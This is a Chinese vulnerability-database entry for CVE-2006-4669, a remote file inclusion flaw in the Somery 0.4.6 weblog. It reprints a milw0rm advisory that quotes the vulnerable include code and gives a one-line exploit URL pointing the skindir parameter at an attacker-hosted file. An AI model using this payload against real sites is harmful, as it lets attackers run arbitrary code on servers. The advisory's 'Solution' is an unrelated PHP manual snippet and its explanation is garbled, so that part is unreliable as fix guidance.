Somery 'Include.PHP' PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110984 漏洞类型 输入验证
发布时间 2006-09-08 更新时间 2006-09-12
CVE编号 CVE-2006-4669 CNNVD-ID CNNVD-200609-107
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/2329
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-107
|漏洞详情
Somery0.4.6Somery0.4.6及更早版本的admin/system/include.php中的PHP远程文件包含漏洞,在启用register_globals时,远程攻击者通过skindir参数中的URL执行任意PHP代码。
|漏洞EXP
Update:
16:01 09/08/06

Subject:
"Somery 0.4(skin_dir)Remote File Inclusion Exploit"

Vulnerable version:
 Somery 0.4.6

Operating System:
- All OS

Vendor URL:
Robin de Graaf - voh@hostvoh.net
Somery website - http://somery.danwa.net

Description:
Somery, also known as the Somery weblogging system.

Vulnerability:
An error accoured when sending a specified string code at include function
Varibale scope at the line for request was not except how they handle failure.include() does not behave this way, the script will continue

regardless.include() produces a Warning while require() results in a Fatal Error.
see vulnerability script;

// upload/admin/system/include.php

if ($start) {
       include("../config.php");
       include("cookies.php");
       include("system/error.php");
       include("system/functions.php");
       include("system/authorization.php");
       include("$skindir/header.php"); // is invalid code
} else {
       if (!$checkauth) {
               $login = TRUE;
               include("login.php");
       }
       include("$skindir/footer.php"); // is invalid code
}

Exploit:
//          =============XCRIME-CYBER============
//          Somery 0.4(skin_dir)Remote File Inclusion Exploit
//          ======================================
//                              basher13 - Infam0us Gr0up
Usage:
http://[domain]/[path]/upload/admin/system/include.php?skindir=http://[url_inclusion_exploit]

Solution:
PHP Manual(PHP 3, PHP 4, PHP 5)
Defined --  Checks whether a given named constant exists
<?php
/* Note the use of quotes, this is important.  This example is checking
 * if the string 'CONSTANT' is the name of a constant named CONSTANT */
if (defined('CONSTANT')) {
   echo CONSTANT;
}
?>

Published by:
basher13 (Infam0us Gr0up - Securiti Research)
basher13@linuxmail.org / www.xcrime-cyber.pro.tc

# milw0rm.com [2006-09-08]
|参考资料

来源:MILW0RM
名称:2329
链接:http://www.milw0rm.com/exploits/2329
来源:VUPEN
名称:ADV-2006-3516
链接:http://www.frsirt.com/english/advisories/2006/3516
来源:SECUNIA
名称:21825
链接:http://secunia.com/advisories/21825
来源:XF
名称:somery-include-file-include(28816)
链接:http://xforce.iss.net/xforce/xfdb/28816
来源:BID
名称:19912
链接:http://www.securityfocus.com/bid/19912
来源:MILW0RM
名称:2329
链接:http://milw0rm.com/exploits/2329